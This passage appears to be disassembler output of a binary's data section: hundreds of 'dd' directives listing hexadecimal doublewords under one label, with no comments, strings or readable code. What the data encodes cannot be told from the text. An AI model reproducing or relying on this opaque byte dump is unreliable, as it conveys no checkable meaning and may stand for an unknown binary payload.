0BF5002F8h, 6B5E647Ah, 951291D2h, 0CFBC2A3Dh, 295D9DA2h dd 0DEC1542Dh, 39D8E748h, 4DB3DAE9h, 604701D3h, 2A76413Ch dd 0C40DBF28h, 0ADF88B27h, 0AC98444h, 800FB13Bh, 0FE6B326Bh dd 22C377Fh, 0FF502C0Dh, 6754FC6Ah, 0A4040550h, 56EE1FABh dd 0F26261C7h, 0A9D91203h, 590BBAA4h, 0ECEB5410h, 304A5D18h dd 95F525DCh, 0CD9FD74Eh, 0CE914055h, 0D20A976Ah, 0CE668D8Eh dd 60AA9025h, 0A75103E6h, 2E43063Dh, 807252E8h, 4D25BDBEh dd 0C5DAC09Ch, 0DBA1F460h, 5467DCBBh, 0E2CDC2B7h, 0FFB57D3Eh dd 0C09F1B91h, 0EEFDF228h, 84733B09h, 0A641B52Ah, 0F8731A95h dd 42601625h, 0C5E4A95Bh, 0D8FF0C85h, 49046A75h, 603BE730h dd 0A70AC8AAh, 8F00CBF6h, 22F12DFEh, 7ED09Ch, 7AA2061Ah dd 5E307B3Dh, 61255072h, 4C7B665Fh, 173204BBh, 8256DF16h dd 0D8827B27h, 6045E78h, 1CB0162Eh, 0FCB94DCCh, 6A021738h dd 9244A973h, 631397B2h, 0A32CAF69h, 3EF412EEh, 1B8AB17Eh dd 97DC3C7h, 52C4E8A8h, 3548581Fh, 0BF66DA07h, 0CB5479F6h dd 355BC741h, 0B2A9A62Ah, 60B9301Bh, 0A6C45802h, 579CD966h dd 82546F1Ah, 5864ED68h, 50E1F8EAh, 7D176308h, 0BA66A5Bh dd 0F4DCB5F0h, 280BBF7Dh, 89014E82h, 0FE65C299h, 610055CEh dd 71EACB4Eh, 999727B7h, 0C1811DBh, 0FAF022Dh, 939CB53h dd 1D0AD940h, 0F54BFA9Fh, 497881F0h, 0A94BE268h, 4E8FB8F4h dd 157F284h, 2ADD052Bh, 0DF26AFEDh, 233014E2h, 194C9531h dd 56CF2895h, 0EFDA2FD6h, 8D00CF64h, 1FFB3433h, 373BBh dd 0A96A20ECh, 5DB4D9Dh, 653A0D25h, 2D3C1CFDh, 5145384Fh dd 433511EAh, 0EC281300h, 29622717h, 0A6F8B403h, 0C3D3B952h dd 2AF9815Dh, 0D780D050h, 4ABAC9Ah, 0B95FD9BFh, 0D3D3AC45h dd 14DE490Ah, 16C0DC4Bh, 0B45BAC0Eh, 1056AFBh, 0E0055411h dd 9C7850C7h, 0B375BC80h, 4A0006F2h, 25ECD6ACh, 13D24804h dd 0E9BD0189h, 515F25A3h, 0BF5E64D9h, 0D800FF7Bh, 481BF82Fh dd 0FABED7B3h, 98F34625h, 9C1202Ah, 759DC670h, 0E300EF37h dd 405D2238h, 666114E1h, 0BD16AD12h, 0F58AAC10h, 0F416C4AFh dd 62B552F8h, 0E039CD61h, 63A4687Ah, 8F84F19Fh, 610131BFh dd 6DC18B1Fh, 120B81Eh, 5FCCA4F3h, 2A67713Ah, 89D36E02h dd 275F50D0h, 5B7B32EDh, 0F840DAD0h, 0F912029Ch, 0C68B6050h dd 6F615249h, 51ADD388h, 4C203211h, 0C70B5F17h, 0BE5699AEh dd 13860DDEh, 407493DBh, 1CA5B509h, 0AC89909Fh, 0BD1F4A7Eh dd 133CBC26h, 0FEC44DDCh, 291AEE08h, 4E988088h, 62517BFCh dd 37D92300h, 8A4AAC1Eh, 0D88B31FFh, 0EEA9B55Eh, 741DB255h dd 0AD03D479h, 1B16548h, 894188F9h, 0BD94E9Dh, 6E515272h dd 73E90DB7h, 1879D867h, 33C9DC09h, 40DC5C30h, 43BA0BFCh dd 0C63A4207h, 0A890D598h, 49A50A1h, 1B635D57h, 62CD9635h dd 0F4F5BD27h, 0D074A5D5h, 0B01207DEh, 0C20AA7D8h, 0D159F6B2h dd 0C0F6000h, 7297A667h, 8B86047Eh, 4006E9C5h, 15AD506Ah dd 0F06F5945h, 0B5CF8004h, 0ACB2B9F8h, 49018C1Ah, 380C927Ah dd 0B7FCC05h, 0CA380BAEh, 193E71F4h, 695D8E72h, 0DE1EC215h dd 69C45C22h, 2C812D02h, 40E90C0Ch, 0D109FF25h, 715FF851h dd 537644CFh, 57E41505h, 138085FCh, 8FF8031Fh, 1E00C574h dd 17B1C380h, 12A4A792h, 0B6026A5Fh, 0DDB9E763h, 0FA1255FBh dd 78EEA781h, 0C12A3525h, 2B42ED97h, 15B21EB6h, 0A074CE30h dd 89130DABh, 86CE6A46h, 25EFB624h, 0E6DE175Eh, 0F5622511h dd 59A1435Bh, 116D5DF8h, 4A018D89h, 0B766F9A0h, 0BF570748h dd 0DF19A104h, 97FA5B0Ah, 0D6B6A0F5h, 0F0B5F890h, 1ED20D1h dd 468F0F25h, 0D1C309FEh, 8973610Bh, 54A35712h, 64082660h dd 169758B3h, 581A9B5Eh, 0A5070DFEh, 0AD6D734Dh, 0BC35D599h dd 7D801A91h, 7003D762h, 6AF2F80Ah, 0D64DFFh, 3CF4B485h dd 72066A87h, 2D696195h, 82FBDE7Ah, 5C9D3A43h, 5010C454h dd 114071ECh, 9BD90B0h, 70E6C1DFh, 0C468BE18h, 0B8693600h dd 52F57A2Ah, 0E73300E6h, 0E4373C84h, 1277BF71h, 0CC903E7Bh dd 4B92D14Bh, 4994D5DDh, 7120A6B0h, 2789950Bh, 8C648654h dd 0FF0BF922h, 1232F904h, 258010B0h, 0DC2F0D3h, 954F6677h dd 2B5F32C0h, 97EB68B5h, 0D18B135Ch, 0F09D36F5h, 0A9B2E14Bh dd 4B033D10h, 94802490h, 0D7BF250Fh, 3F96565Ah, 0C74F9940h dd 529D1BACh, 50121E1Eh, 6D52E995h, 0B1D075FFh, 0E902DE48h dd 0C869957h, 0BE1E7616h, 0E680AB3Ah, 14DB8D3Eh, 1D1B561h dd 82097EA8h, 5927661Ah, 91E64BEDh, 0F82ABB04h, 0BF870B65h dd 0A5830851h, 0D7FE2442h, 0B8435E1Bh, 4BEA0A7Eh, 6112BA83h dd 9409EDB6h, 3F3D1EFFh, 340A0604h, 310476ACh, 0AC2B9DBDh dd 6AFFB4E3h, 0F51A12ABh dd 51D6C6ECh, 0B90EEEC3h, 0A91708AEh, 1015BCC8h, 25C00DDBh dd 0CDF962DEh, 0D77DE36Fh, 0FE9F41F8h, 25ABBD48h, 2724E686h dd 2F37FCFAh, 0BDCB014h, 54C7A9EBh, 0E8F6277h, 4060D429h dd 0ED1E4629h, 23345B03h, 85BA184Bh, 94BA9C35h, 1D7FAA4Fh dd 0F1021723h, 574F5CA8h, 3FC0B74Dh, 78791BFh, 5BCFDF69h dd 8F54792Eh, 0FAF91112h, 0F745ED80h, 9453AC70h, 16C94A75h dd 0D70E607Fh, 802D3C7Fh, 44232A57h, 75901F6h, 0EEFFDBBFh dd 3E522E33h, 577AFBh, 5BFE15DCh, 25A06BEFh, 0C7E29585h dd 4C56B5E2h, 5EB59D5Eh, 0DACB5E00h, 9DDF0297h, 16E75110h dd 0C1620F00h, 0CA276FFEh, 31149741h, 3D957770h, 967C0B9Fh dd 0AD099D62h, 0BB014F5Bh, 4FF2A98h, 8B31302Eh, 0F4E259Dh dd 840087A6h, 63C6E795h, 7300C3FAh, 4FC9308Bh, 2F02D77h dd 0F86C4D94h, 4CDBE1FFh, 0C44CDF72h, 678AFC4Bh, 0C18DFA22h dd 0F8F265E1h, 3D6194F4h, 182D9531h, 0EE00A7D3h, 7663CC5h dd 8D149736h, 0BD52D644h, 5F11D4E6h, 530008E9h, 578145BFh dd 544B2B0Ah, 7E347B8Ah, 286FFFC3h, 0DAAD3F03h, 84166019h dd 0D9AC012Dh, 0B85B5284h, 0EDA65E6Ch, 9743A5E0h, 4F6DF501h dd 131D8D29h, 2124CC2Ah, 1685D68Ah, 4AC9A28Bh, 3403068Ch dd 0AC0DD19Dh, 0ABBBC09Dh, 4A610827h, 4E20EF50h, 9263Fh dd 4DC455E3h, 0C232C59Ch, 5B816102h, 0DFEB8EE8h, 8D0F90A2h dd 3DBFBE65h, 9EFE8023h, 0B7F3016Bh, 0E8CD9F6Ah, 9BFF61EEh dd 0F260BA47h, 680C026Ch, 0DFE559FBh, 0F10E59A0h, 0E5BDFEDDh dd 0EB590FDEh, 0B0814646h, 3928AAE4h, 9D259520h, 0DECCFC11h dd 0A6171646h, 9D620EF6h, 89DA8176h, 0EC7E6F85h, 7A906900h dd 78A3A503h, 8C2CFD2Eh, 2AE74000h, 4ACAE929h, 0E8BCE901h dd 6F533113h, 2E10DDB2h, 0D3D4DF74h, 51C4B7ADh, 5C7D392Dh dd 0E9C82EA9h, 0C0CB122Ch, 0C90AFC51h, 0DF6704F8h, 45BB9CEAh dd 0E27B1945h, 73892552h, 206C7976h, 3048098Bh, 0D5A8A597h dd 0AD0D1D34h, 24A7A86h, 5F6B3C88h, 0B7FFA46Fh, 8294FA4Bh dd 0F0D4F6BAh, 0E389D4h, 687D15D5h, 74EB9D4Ch, 7F65195h dd 9BF49EB3h, 76829DB7h, 0D841B529h, 8776996Ch, 90B9FF2Fh dd 2AC54487h, 0B40CE524h, 71A63009h, 0B75F2583h, 0D9C42F08h dd 3C17CB0Bh, 696198D8h, 51AE005Ah, 70C773BFh, 0B013775Ch dd 0B7818CB7h, 0D13AFD8Ah, 10277FABh, 9B905B57h, 98EF78D5h dd 0DC99B427h, 0B7F92812h, 32D028D3h, 0A6485F9Bh, 59D08B6h dd 29610E11h, 0B81F41E4h, 2200F5DDh, 0EB8101E5h, 1C35124Ch dd 8D36E267h, 47A2F31h, 0EF2A11AFh, 9BD3C2FCh, 76E78E6Fh dd 66F85600h, 4A1F0EBEh, 0EE02AC61h, 9078DA93h, 18611D4h dd 0FDC5F925h, 6E4ECB11h, 3B1B3C84h, 81A00471h, 88FB0964h dd 70BF2BA9h, 18679534h, 0EF04900Bh, 7A26406Dh, 0A9040CF9h dd 0E50A315Fh, 20D3A81h, 23C46F2Eh, 56BB0416h, 0A35080E2h dd 174B7C1Dh, 16BF6BCCh, 4EADFADh, 0DF8DB522h, 325F8013h dd 9A830C4h, 2BB4D215h, 73A58D7Bh, 0C25A50AEh, 842FB3E8h dd 0D6C4E95Bh, 8B020420h, 0D48C61D3h, 16326BE2h, 460493E4h dd 63FE0A75h, 79B8438Ah, 6D00C0D7h, 8E20302Ch, 38DDB3h dd 4D325E0Ch, 0EF807FCAh, 0D65BCB2Bh, 400D5627h, 41BDE674h dd 0E1AF603h, 0AB14C917h, 0DECA34D4h, 5F86B836h, 0B9A090B7h dd 9D25A60Dh, 3EA0EC94h, 81C02585h, 0B2BC70Eh, 0F4AD324Bh dd 48C18ACh, 0B261F503h, 696BEA14h, 5D251923h, 0C202AC12h dd 830211FDh, 16CDD5C2h, 0AC9FFFE1h, 1C80F7D4h, 8961DB81h dd 90557636h, 8518E1BAh, 0E0696D2Dh, 6A61BD46h, 0AB5B0390h dd 30CD6C8h, 59CEDE92h, 77D8F1FAh, 0C6BD83CFh, 8E1A9597h dd 8B70BA09h, 4078CF9Fh, 24CE3CAh, 0D5B46012h, 0C6D0004h dd 881E9ABFh, 0FA2C01Dh, 6904E73Eh, 0AB51627Fh, 896CD8EAh dd 4AE9853Ah, 186234E7h, 80010ED1h, 0E33A94F3h, 3B2500E3h dd 0BCE2070h, 0F7CC003Ch, 60FDE4F1h, 8803A2BCh, 0A6BF5DA8h dd 5B04B1F8h, 1F947B2Fh, 0EF4150F7h, 76CB0F1Fh, 0A1D6CA2Ah dd 73D4F4B6h, 2DC773BCh, 6960F3EFh, 0EBA02BC6h, 969701D1h dd 4035BF9Ch, 8B6D400h, 18324B2Dh, 60116F18h, 209E1CB5h dd 801E83C3h, 0A761F0h, 4063D40Dh, 8143CF37h, 0D949A504h dd 528204ADh, 51AD5EB3h, 53601223h, 40E720CAh, 564C612Bh dd 5BFB1759h, 0F5E992C1h, 31BECB54h, 3AFE8BF1h, 1DB27BE6h dd 3F1BD930h, 0EA02667Bh, 2C520B74h, 622DCB54h, 834E7566h dd 0E3B59Fh, 0E23BFFA1h, 5A094984h, 62B3858Eh, 0F3855F57h dd 40BF8A08h, 5C8A6587h, 0D3CFADE5h, 0A21F1B45h, 0C9F79452h dd 0A0FAB692h, 7CF4993h, 9D0B77A5h, 0C2560B55h, 2E0486EAh dd 9AA9B36h, 0CE61593Ch, 0EDFDC2C6h, 0FADDE9FAh, 4A2812A6h dd 0C5C9F23Eh, 13ABCEE9h, 0B8F7BDB1h, 3A4B0B95h, 0CD71D555h dd 3C18B80h, 0BF2B719Dh, 66824FDBh, 57A9F7BBh, 0E1B72325h dd 10F6DE59h, 0C37DBF40h, 0AD567DF3h, 99CC07Fh, 72B71549h dd 18BF068Bh, 8E73A326h, 0FE8E7725h, 420FF4A7h, 6454CEF3h dd 0F7AC820Fh, 86E1DFCBh, 64232F0Ch, 5C1C8E60h, 0B24B06CFh dd 6B044ECAh, 0A2AB11BDh, 0C9406468h, 0A89607BCh, 0E4FD187Fh dd 0A208B92Eh, 1C4790Dh, 1A3B97D9h, 32E0F011h, 4695B95h dd 292DBD9Dh, 8052DB2Ah, 0B41DF14Eh, 0F4F14CCh, 80021F8Bh dd 0D1FF82DBh, 7BE069CDh, 0DE88D8h, 8FECE0E4h, 0D98B8A09h dd 5FEB1497h, 0F4F5CC56h, 26A3F16h, 845788h, 73854E53h dd 0BE3693A5h, 18559F00h, 0EDEACF08h, 9EB5A46Fh, 0B0F74BAAh dd 0B7F0377Eh, 0C44EA4Ch, 7B780041h, 7F6036EDh, 4DFC7093h dd 83530FF4h, 91F31685h, 0C19D2202h, 950A7A12h, 20394A67h dd 0C380128Eh, 40AFE363h, 0CFE444FBh, 52CB689Dh, 94CCBD0Fh dd 9F1E7097h, 54D84AFBh, 8059B191h, 4D77EFD7h, 0E603A43Dh dd 4BA5DBADh, 0A861902Ah, 42C5126Ch, 3AAEE51Ch, 0EEB0DCF7h dd 0D3278029h, 31EE0582h, 2A1329ABh, 31C29620h, 0BED70BB7h dd 568A4Eh, 0D46AFAE3h, 5C43C9Bh, 0BC31AF97h, 31603BAEh dd 0CB7FE15Dh, 0CCD825FEh, 7B26457Dh, 0FF76CC8h, 0C62702Dh dd 6DC64942h, 605CD7E4h, 21C110C0h, 610CB304h, 0E207AB5Bh dd 40A86D8Dh, 9E0903BFh, 71E41804h, 0E4AFF856h, 69C4EDD4h dd 79B8F98Bh, 30655662h, 9F66CCDDh, 8167305h, 79A70C63h dd 0F93AB3D1h, 4DA7948h, 2DA99D23h, 449290B8h, 0EA8F3A3Fh dd 310B197h, 0D91BF585h, 2093237h, 60D2F061h, 0C82B0F24h dd 880FC381h, 0EC14C229h, 25F350D1h, 14D1CB0Ah, 9385BB01h dd 0E0FB592Bh, 58D7A0CDh, 0C1108F17h, 95010410h, 0AAC90729h dd 0DCDDB3D4h, 0BD23020Ah, 9A5C0D1Dh, 9410E64h, 1223D98Dh dd 0DEBF1050h, 0ADDD71BDh, 0F500F844h, 36F20339h, 970C1Fh dd 0ABBE2A94h, 0EB75848Eh, 299A1197h, 3780E912h, 3D92C5BCh dd 0FB878300h, 91865DE0h, 0F47EB068h, 0FE37A0A5h, 0F4D84C8Ah dd 62447041h, 28493ADh, 510CC00Ah, 0D2FED381h, 0F642B324h dd 1D599D05h, 97F80288h, 17917D35h, 0DBF69082h, 0E1089954h dd 5FB90428h, 9D91008h, 70B84DEFh, 0AF5B9F5Ch, 4D71470h dd 4DB4DC75h, 0FCEDC08Ch, 0C04B2BF5h, 0C15FF26Eh, 3EAB2DE0h dd 57FCE213h, 0A156B3A8h, 4805B05Eh, 6B58094Dh, 18DD25ABh dd 12D78032h, 0EA880DE0h dword_502044 dd 220E177Bh, 0BF675239h, 0E0CEF95Ah, 57E05887h, 1317D679h dd 0E82DBC61h, 4314804Bh, 0BEC8CB34h, 0AD21124Eh, 0B589C26Fh dd 55C66AEDh, 19645917h, 0B63A1260h, 0A2DFE616h, 7680D09Bh dd 0A21901D1h, 0F14D031Eh, 696AD6E7h, 97442859h, 0AAA44EBCh dd 1D23596Ah, 4061D62Dh, 685D3A03h, 0DAB3613Ch, 0B64A44A7h dd 0E310A097h, 0A6E14EFFh, 0FDB4E0B7h, 0BC604A30h, 3605D2C2h dd 98EB18A5h, 6B00BE4Ah, 6E4E9AE1h, 2638A26h, 0AB359F5Eh dd 65552DBFh, 3128B1Ah, 3AF41FF6h, 6314EAABh, 8912C46Fh dd 1338AB11h, 0E7024BFAh, 5C88A224h, 829B5143h, 71EB8053h dd 0E0AC4D60h, 0A81148D9h, 3BC27C01h, 89D08B60h, 250FF26Ah dd 4D4CC261h, 0F11FE769h, 2E47497Bh, 0DE8B6A04h, 0B42D45B9h dd 2F92A951h, 0E65EABA7h, 9EE7E006h, 0C4286292h, 615C2271h dd 0ED2AC0E9h, 482E97B7h, 4A6AFBE9h, 68C6D260h, 0A52ECF7Bh dd 5D698151h, 3000DEC4h, 0CA8C92FAh, 0B753A338h, 5B4A1A66h dd 3003F1A9h, 0F551BABCh, 0A7C75A38h, 8970F322h, 15D5117Dh dd 3C30C054h, 8C0AD323h, 0A2FDB509h, 28E9F985h, 64FFE7D4h dd 0A6C5120Ch, 193050D8h, 51D8BA95h, 0CE2B0028h, 59D06D1Ch dd 0FEA5E412h, 112B8B3h, 5149AF9Dh, 7BBDD789h, 0B8D7E100h dd 327CD518h, 0C198BD79h, 77AF1A2Bh, 5A246214h, 0B3C21FD5h dd 3AFE766Ah, 0CB624EA5h, 0F1A18275h, 0BA512B13h, 0A548DCA7h dd 5325CCB7h, 0B3261214h, 0DB6800EFh, 0B7C57528h, 2B8E970Dh dd 3AA98A3Eh, 0FE8D15C3h, 508C14ACh, 41B19322h, 7C846F21h dd 0A5F875C3h, 2E6EABh, 0F2494C20h, 24ADBED4h, 0C95D0CB3h dd 61131F56h, 4E5088h, 7CA5B258h, 92055E29h, 7E3C7D0Ah dd 0E40995EEh, 656A594Fh, 0B86400E9h, 329E8770h, 16E28D07h dd 5307D5Ch, 43F3B1Ah, 8AF35E6Fh, 0A38AA80Eh, 29433418h dd 450FE11Ah, 0C0FBED7Ah, 0F152AE9Dh, 0FA8A12F9h, 0BA60B35Fh dd 80559A4Bh, 0B860F53Eh, 0FB6302F4h, 0DBD0971h, 4AEBE457h dd 5370EB8Bh, 159EC6Ah, 12B395F8h, 2B2A5FFCh, 86F27C28h dd 1919B59Fh, 306F129Ah, 0D4AC9CEh, 0C02273CEh, 59952909h dd 794F5B2Eh, 576181Ch, 14F0AD0Dh, 60C4EE73h, 4ED7A2AEh dd 0D700D2E2h, 770C7F73h, 61E4B660h, 0D39D0895h, 1CF45F2Eh dd 443CDB9Eh, 0AB7BD98Fh, 2013F71h, 0BFC7DC7Fh, 0E99B1312h dd 0D3E8550Ah, 8901FF48h, 0E2CF70F0h, 956B95F5h, 0BCF6BD68h dd 6CF605FBh, 0E0B8617Bh, 0A995DFBDh, 343DFF31h, 0B39FAC80h dd 0B12739Ch, 2CF574BCh, 3105C474h, 17E4D9B5h, 964A9DBDh dd 0CF2F5054h, 47C663FEh, 0E371DFE8h, 30309D26h, 4128CE60h dd 0B94D03BBh, 0C9122A4h, 9F1637C0h, 31677D02h, 0B2156BA2h dd 1365F4CDh, 44168150h, 0E9D92AF5h, 0ADF92092h, 8C1CACE5h dd 75CD5C00h, 4D290DBAh, 0B7A75B2Fh, 1D527C38h, 0CB213897h dd 0F050E6F7h, 0D9224AADh, 0A8377D68h, 0D6A72FA4h, 5069725Ch dd 70F9BB65h, 0F84B62CCh, 0E9505AF3h, 0DD214A15h, 0BDCC7E89h dd 0B5BD1603h, 5FB622h, 8D5C4687h, 2112CDCh, 0CBC83AA4h dd 0ED7F2B9Ch, 0E41B6AA5h, 60FAB023h, 0DD9D090Bh, 0BDC9931Eh dd 0B63F6BE5h, 0E1D8B54Dh, 0E5E5A1BEh, 0BD2BD950h, 3899745h dd 46D61EF4h, 0A920001Dh, 0D4E958EBh, 5B6190AFh, 1027EC9Bh dd 960908DDh, 21DFD8B3h, 817DBB7Fh, 5A10B700h, 4D965825h dd 0AB77C42Fh, 0D6A09D8Ah, 843AAE97h, 875B8515h, 11853943h dd 0BF0F54BAh, 0D9CFA404h, 0AA74AC61h, 0D253A800h, 0F551492h dd 6529AB25h, 336B1A53h, 0AF8A8A37h, 0D90009E8h, 9345C10Bh dd 877900D6h, 0F2541841h, 485AAF71h, 850A1CECh, 25D753ECh dd 0EA098329h, 0E8602056h, 57C240h, 4BA031D5h, 8424ECE7h dd 4AAA9B02h, 2A2F2338h, 0D9E16099h, 3A00C915h, 0B6C89F3Bh dd 562F8E64h, 8009D95Eh, 735BD6CBh, 517A5BA5h, 12B48CDh dd 2FF98D13h, 23A16FAAh, 0F2BC001Ah, 6610189h, 8D0F7F12h dd 0D7FE11A5h, 5B7ED346h, 0B9EC8C4Eh, 0AC72D0C4h, 7C65A27Bh dd 323EF686h, 0AFCF82CAh, 560DBB9Dh, 0D0526778h, 41692BC3h dd 42BE5FF2h, 0F3B73D40h, 618600ADh, 59D99D5Dh, 0AE00F763h dd 0FFD2EE24h, 9DC6AA22h, 0CF552E8h, 1ADB97h, 0FFEEBB8Ch dd 61002D2Eh, 44CE633Ah, 0B5313712h, 16643B6Fh, 429C5460h dd 0DBBF0F05h, 1DABBBE9h, 0B5130h, 0FCE46AFDh, 85BDE29h dd 4BB20E8Fh, 3BB56005h, 0D21CBB05h, 872A64ABh, 0C9D6897Dh dd 50739160h, 754318BFh, 2404F447h, 105028DFh, 0BD7F8569h dd 2A850046h, 7A10B225h, 18CE852h, 0B9125EECh, 352AB413h dd 2A7C89F5h, 331FCD7Ah, 58D400B8h, 0B7558F08h, 0CE82A250h dd 571F9D26h, 14C500F4h, 96C448B6h, 195831CCh, 2510BA2h dd 0C1FD51Bh, 83901A95h, 0F0F5239Eh, 0B0B94567h, 1F5520BBh dd 24A63D90h, 27070D04h, 0DEAA5792h, 0E4A8D20Ch, 0CFB3E85Bh dd 3B28009Bh, 90909495h, 92340B1Ch, 51736AF9h, 2FEA0678h dd 0B77989EEh, 449ABF0Fh, 2DB96B4Eh, 27D9FB92h, 1096F72Fh dd 0FEA50E15h, 0FB4BCC6Eh, 0FF504867h, 9E381D1h, 4EC4029Bh dd 0A7450671h, 20EC14EDh, 4B657620h, 2750FD45h, 0C0F46D02h dd 635A1C0Dh, 25BBC495h, 7F736487h, 5B3FCE04h, 0E9FA38F0h dd 80F49B2Bh, 0EA6BC9C4h, 9584FA91h, 0FB273FD1h, 2D82D086h dd 0AE520D00h, 0E9A38119h, 571C9734h, 4ED1D848h, 725BE6Fh dd 0B1013053h, 0FC26D9DDh, 0AA514520h, 608256C2h, 8B5690F8h dd 1EF3DE58h, 2B026FB3h, 0D52E599Dh, 29097C94h, 551CC985h dd 16BB381Ch, 0D97E50h, 8C27D1C4h, 0A11E3249h, 55271594h dd 6DBDFD16h, 18DF4B02h, 13964DF8h, 0A66A7E1Bh, 35EBF0C6h dd 9C9F2E2Fh, 26DE2F31h, 0F29D038Eh, 5EAD25C4h, 0A2BA1788h dd 0ADD4000Ch, 0CE076ED1h, 0F3122840h, 20057E2Ch, 4B941985h dd 7B59E1AEh, 9229A08h, 6A0971E4h, 0EA42525Ah, 9281A85Bh dd 0FB3056B1h, 923512B9h, 3E56E164h, 588BD79Dh, 871017F5h dd 0DCC1301h, 970B51C1h, 0BAD15012h, 79D19E00h, 72384378h dd 942B4B82h, 0E205EE59h, 0FACC58D6h, 30010556h, 0AA78D1AFh dd 1E2B37D9h, 0FFF95E5Ch, 347A13DEh, 2C53E8EBh, 8762D023h dd 216DE0E3h, 0BD5AA129h, 4C565CDEh, 8D0AE728h, 889589EBh dd 0B5271C4Dh, 0F602D93Bh, 0B68DDE43h, 7CEA665Ch, 3A2FE908h dd 80403938h, 5767F325h, 70661511h, 96A03516h, 53950319h dd 271D115Bh, 0BCDBFE66h, 9ED02DA2h, 5B561963h, 0AD145D42h dd 146A844Fh, 85EB010Eh, 972127Fh, 8F48599Bh, 729B9F8h dd 6BD062F3h, 89B8021Eh, 9228A9EFh, 0D92C425Ch, 3A2A13DEh dd 0D237571Eh, 0BFD7B83Fh, 45F125Bh, 0AEEBE71Ch, 21C20C2h dd 717BD22Bh, 0B2A4F70h, 192F5F27h, 0FC20EF84h, 0FE9927ECh dd 8A85D2E4h, 4DD8EB2Bh, 0C66900ECh, 44AFFD0Dh, 0B754F2Dh dd 84BCC20Ch, 40513473h, 0FBB75F2Eh, 0BCF0586h, 806DAAA0h dd 50316A2Eh, 1805030Bh, 0E0C98060h, 2B6FCDAFh, 4FCD84B0h dd 0E8D1FC03h, 0B5A57D9Dh, 0A40D96Fh, 0A767AB5h, 27DD303Fh dd 0DA0E09B2h, 0D8EB4F80h, 1497330Dh, 84C3F323h, 0E03AB6BAh dd 6016DEh, 0EB81F61Fh, 65E5DCB5h, 7B97B870h, 9AA6D8C9h dd 0E0224D12h, 6A4E3CE7h, 0BCD717EFh, 4356B801h, 802F58E9h dd 0FFCA7254h, 3152E105h, 0B0A04D9Dh, 0F14975Bh, 0DB04572Fh dd 3D6AD0D2h, 65DE6B00h dd 8D8910F7h, 0D06EE129h, 0EB4F50D2h, 178A774Bh, 0C8773735h dd 7104E5C5h, 0B64462B8h, 0E9A306B8h, 8E589976h, 0EC608C07h dd 689424D8h, 60091F47h, 8AC9617Dh, 8CAE90F9h, 0BFEDB7D9h dd 56FC7AC2h, 0C9C425EDh, 28A35504h, 0F5ADF9DCh, 62012610h dd 2918D976h, 0F8534789h, 50385BA5h, 2A056ECAh, 776DED50h dd 0E96BFBFCh, 0A516357Fh, 0F0F25B30h, 569B0331h, 50001BE9h dd 63968D0Fh, 0DBBF5380h, 0C43BF0F1h, 0EA24044Eh, 42E100E6h dd 573CA8EBh, 3C9AA100h, 7B26683Ah, 20E24B02h, 382A069Dh dd 97E30309h, 9285895h, 1E1C88D9h, 5F7018FBh, 78B300BBh dd 0D8DE146Dh, 0D0AAC215h, 7BE97CFCh, 5C77506Bh, 7E6C8C2Dh dd 0E2A4490Dh, 9BF1231h, 82730863h, 0C8BB8B93h, 2197F383h dd 0B5D9D61h, 0E01ECA6Ah, 129467Ah, 25CFC9B0h, 0E02E7F45h dd 0BEFD58Dh, 7E89C94Ah, 419D23D0h, 0F645B521h, 400D6DAFh dd 9D09ECCDh, 0B71BF120h, 299F12F3h, 7F169989h, 8B53F7B2h dd 1B77D50h, 6A0AB4B3h, 455776CBh, 5F74B4B5h, 0FEBF0F17h dd 9300A0A3h, 72B7E69Eh, 4C032873h, 20E9FD1h, 0E526C0F0h dd 892A5F70h, 0B2F62E64h, 4BCD8280h, 0C8587392h, 0DE600B4Dh dd 0F9B8D15Bh, 0E8581C1Bh, 50C6F8EBh, 94BD9632h, 2B0A4DFh dd 134129E4h, 0D62DC75Ch, 0FF3FF62Ch, 71FCAD70h, 0EE8D49CFh dd 55E56F33h, 16E3BBC0h, 27714E0Bh, 58FED20Fh, 0E6E0716Dh dd 2FAA3D23h, 68D89Ch, 46BF9753h, 9E8D490Bh, 0B850DE84h dd 82E4807Dh, 999CFF2Ch, 1DB72551h, 9A6D4E00h, 0B63B9C2h dd 0FF071597h, 27005064h, 6416BA94h, 22912EEh, 0C34B5C04h dd 6859DB92h, 459B7500h, 135967D5h, 607A2DB1h, 0A1C78031h dd 129B614Fh, 49FB9E82h, 9B008759h, 0D65A81FEh, 795C0172h dd 0FF3876DDh, 462C2F08h, 208C4E0Fh, 6FA9B5E3h, 4F8A1E4Bh dd 9253431h, 3F223E85h, 0E76F5F44h, 57545B60h, 0B17802E7h dd 9D01913Eh, 7F7D4A77h, 13F6B6CDh, 74051C9h, 4B625207h dd 85583276h, 0B9044B1Ch, 17ECE815h, 0A81D31A8h, 0A164123Fh dd 1511130h, 9C7499h, 266B259Dh, 9A4D026Dh, 0EFC8950h dd 27519C97h, 65F303D3h, 7602F9D0h, 0B4B21261h, 588E304Bh dd 7005BFD8h, 0D96F9064h, 2EA5D9BFh, 1935D520h, 127701FEh dd 42C8198h, 51532FB1h, 5B547AFAh, 1F3E06F9h, 9D52C204h dd 9F4E8A8h, 0FF918D31h, 0E7B08094h, 0EE2AC925h, 9637C05Dh dd 0B0E66ABBh, 9E00C4Fh, 64E7A2D3h, 40EB947Ch, 6EED83C3h dd 6B9C0B01h, 1F19F47Fh, 0B490C60h, 96615F2Ah, 0F8FDB705h dd 0D780A096h, 1DBA97E1h, 57505A7Bh, 6F6A0036h, 711C1213h dd 0B4D39851h, 818062E8h, 0A1E0FFC8h, 8461202Ah, 0D85973BDh dd 2304D3E8h, 25A8A0D8h, 8FF304EFh, 2498EA36h, 78758810h dd 0C0FC4F4Bh, 45E07BCFh, 8E3C2D0Bh, 75438997h, 0FD806FBDh dd 853189DAh, 0DD094B95h, 81C00131h, 0DB800032h, 348897DEh dd 749FD67Eh, 32706922h, 0E63D27A1h, 0AD979655h, 400363FBh dd 0BD295BC8h, 7313052Dh, 0FDF99307h, 0CBD91242h, 2014B472h dd 972FFD8Dh, 0C5670100h, 1607866Bh, 0A50F036Fh, 0D75EEBB7h dd 0B1D51DB2h, 0F91413CAh, 0A16B8095h, 137D431h, 697B34B3h dd 2F27868Bh, 8C460E81h, 0E4C3B614h, 13BA5ABh, 3F1675A3h dd 38EE4698h, 0F73C7C3h, 775B2631h, 7CD1F9C6h, 0FEE33B2Dh dd 0D3B4D6BAh, 2D6A7CC0h, 8DAD4BA5h, 0AD282BD1h, 0AD828A0Dh dd 0BD7E078Dh, 21497E69h, 12F52546h, 0D8D602B6h, 0EA565C30h dd 0FF03D63Fh, 83B1F70Ch, 0B5D8259Bh, 50DE097Dh, 0DB4D9503h dd 0E5631764h, 299A7D8Bh, 0D566627Dh, 1691CA37h, 0A5EB1482h 